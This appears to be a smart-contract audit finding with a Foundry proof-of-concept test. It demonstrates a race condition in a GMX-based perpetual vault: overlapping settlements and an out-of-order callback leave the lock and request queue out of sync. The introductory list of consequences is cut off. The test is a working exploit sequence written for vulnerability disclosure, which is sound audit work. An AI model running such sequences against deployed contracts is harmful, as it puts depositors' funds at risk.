The issue comes from handling settlement requests (e.g., via "_settle()") alongside GMX’s asynchronous callbacks:
In short, the code presumes strictly sequential settlements with callbacks arriving in order. It lacks explicit enforcement against multiple concurrent settlements, and no robust tracking of multiple requestKeys exists. This opens the door for race conditions that desynchronize the lock and queue states across the two contracts.
If exploited in production, this design flaw can break the system’s flow of settlement, leading to:
pragma solidity ^0.8.4;
import {Test, console} from "forge-std/Test.sol";
import "forge-std/StdCheats.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {GmxProxy} from "../contracts/GmxProxy.sol";
import {KeeperProxy} from "../contracts/KeeperProxy.sol";
import {PerpetualVault} from "../contracts/PerpetualVault.sol";
import {VaultReader} from "../contracts/VaultReader.sol";
import {MarketPrices, PriceProps} from "../contracts/libraries/StructData.sol";
import {MockData} from "./mock/MockData.sol";
import {Error} from "../contracts/libraries/Error.sol";
interface IExchangeRouter {
struct SimulatePricesParams {
address[] primaryTokens;
PriceProps[] primaryPrices;
uint256 minTimestamp;
uint256 maxTimestamp;
}
function simulateExecuteOrder(bytes32 key, SimulatePricesParams memory oracleParams) external;
}
contract ConcurrencySettlementPOC is Test, ArbitrumTest {
address payable vault;
address keeper;
address gmxProxy;
MockData mockData;
address alice;
address bob;
event GmxPositionCallbackCalled(bytes32 requestKey, bool success);
function setUp() public {
address orderHandler = address(0xe68CAAACdf6439628DFD2fe624847602991A31eB);
address liquidationHandler = address(0xdAb9bA9e3a301CCb353f18B4C8542BA2149E4010);
address adlHandler = address(0x9242FbED25700e82aE26ae319BCf68E9C508451c);
address gExchangeRouter = address(0x900173A66dbD345006C51fA35fA3aB760FcD843b);
address gmxRouter = address(0x7452c558d45f8afC8c83dAe62C3f8A5BE19c71f6);
address dataStore = address(0xFD70de6b91282D8017aA4E741e9Ae325CAb992d8);
address orderVault = address(0x31eF83a530Fde1B38EE9A18093A333D8Bbbc40D5);
address gmxReader = address(0x5Ca84c34a381434786738735265b9f3FD814b824);
address referralStorage= address(0xe6fab3F0c7199b0d34d7FbE83394fc0e0D06e99d);
address ethUsdcMarket = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
ProxyAdmin proxyAdmin = new ProxyAdmin();
GmxProxy gmxUtilsLogic = new GmxProxy();
bytes memory data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
gmxProxy = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxy).transfer(1 ether);
KeeperProxy keeperLogic = new KeeperProxy();
data = abi.encodeWithSelector(
KeeperProxy.initialize.selector
);
keeper = address(
new TransparentUpgradeableProxy(
address(keeperLogic),
address(proxyAdmin),
data
)
);
address owner = KeeperProxy(keeper).owner();
KeeperProxy(keeper).setKeeper(owner, true);
KeeperProxy(keeper).setDataFeed(0xaf88d065e77c8cC2239327C5EDb3A432268e5831, 0x50834F3163758fcC1Df9973b6e91f0F0F0434aD3, 86400, 500);
KeeperProxy(keeper).setDataFeed(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1, 0x639Fe6ab55C921f74e7fac1ee960C0B6293ba612, 86400, 500);
VaultReader reader = new VaultReader(
orderHandler,
dataStore,
orderVault,
gmxReader,
referralStorage
);
PerpetualVault perpetualVault = new PerpetualVault();
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
ethUsdcMarket,
keeper,
makeAddr("treasury"),
gmxProxy,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vault = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
mockData = new MockData();
alice = makeAddr("alice");
bob = makeAddr("bob");
payable(alice).transfer(1 ether);
payable(bob).transfer(1 ether);
}
function test_Y8_ConcurrencySettlementVulnerability() external {
console.log("\n=== INITIAL SETUP ===");
console.log("Step 1: Make deposits from Alice and Bob");
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
uint256 depositAmount = 1e10;
depositFromUser(alice, depositAmount);
depositFromUser(bob, depositAmount);
console.log("\nInitial state checks:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
console.log("- Alice collateral:", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(alice));
console.log("- Bob collateral:", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(bob));
console.log("- Vault collateral:", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(vault));
console.log("\n=== DEMONSTRATE VULNERABILITY ===");
console.log("Step 2: Trigger first settlement operation for Alice");
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory data = new bytes[](1);
data[0] = abi.encode(3380000000000000);
address owner = address(this);
vm.prank(keeper);
PerpetualVault(vault).run(true, false, prices, data);
console.log("\nPost-first settlement state:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
(bytes32 firstRequestKey, bool isSettle) = GmxProxy(payable(gmxProxy)).queue();
console.log("- First request key:", vm.toString(firstRequestKey));
console.log("- Is settle:", isSettle);
console.log("\nStep 3: Before first callback arrives, manipulate state and trigger second settlement for Bob");
PerpetualVault.Action memory action;
action.selector = PerpetualVault.NextActionSelector.NO_ACTION;
action.data = bytes("");
vm.prank(owner);
PerpetualVault(vault).setVaultState(
PerpetualVault.FLOW.NONE,
0,
false,
bytes32(0),
true,
false,
action
);
console.log("\nState after unlocking:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
uint256 vaultBalance = collateralToken.balanceOf(vault);
console.log("- Vault balance before adding funds:", vaultBalance);
deal(address(collateralToken), vault, depositAmount * 2);
console.log("- Vault balance after adding funds:", collateralToken.balanceOf(vault));
vm.prank(keeper);
PerpetualVault(vault).run(true, false, prices, data);
console.log("\nPost-second settlement state:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
(bytes32 secondRequestKey, bool isSettle2) = GmxProxy(payable(gmxProxy)).queue();
console.log("- Second request key:", vm.toString(secondRequestKey));
console.log("- Is settle:", isSettle2);
console.log("\nStep 4: Simulate out-of-order callbacks - First settlement callback arrives AFTER second settlement");
console.log("- At this point, the queue only tracks the SECOND request key (", vm.toString(secondRequestKey), ")");
console.log("- But the callback for the FIRST request is about to arrive (", vm.toString(firstRequestKey), ")");
vm.prank(GmxProxy(payable(gmxProxy)).orderHandler());
bytes memory orderData = abi.encode(
abi.encode(
address(0),
address(0),
address(0),
address(0)
),
abi.encode(
uint256(0),
uint256(0),
uint256(0),
uint256(0),
uint256(0),
uint256(0),
uint256(0),
uint256(1)
),
abi.encode(
false,
false,
false
),
bytes(""),
address(alice)
);
bytes memory eventData = abi.encode(
abi.encode(
uint256(0),
bytes32(0),
address(0),
abi.encode(true)
)
);
(bool success, ) = gmxProxy.call(
abi.encodeWithSelector(
bytes4(keccak256("afterOrderExecution(bytes32,bytes,bytes)")),
firstRequestKey,
orderData,
eventData
)
);
console.log("\nPost-FIRST callback state:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
console.log("- First callback success:", success);
(bytes32 queueKey, bool queueIsSettle) = GmxProxy(payable(gmxProxy)).queue();
console.log("- Queue request key:", vm.toString(queueKey));
console.log("- Queue is settle:", queueIsSettle);
console.log("\nStep 5: Analyze the state inconsistency");
bool secondKeyStillTracked = queueKey == secondRequestKey;
console.log("- Second key still tracked in GmxProxy queue:", secondKeyStillTracked);
console.log("- But the first callback was not successful:", !success);
console.log("- The vault is still locked:", PerpetualVault(vault).isLock());
bool stateInconsistent = PerpetualVault(vault).isLock() && !success;
console.log("\nState inconsistency verified:", stateInconsistent);
}
function depositFromUser(address user, uint256 amount) internal {
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
vm.startPrank(user);
deal(address(collateralToken), user, amount);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
collateralToken.approve(vault, amount);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(amount);
vm.stopPrank();
}
}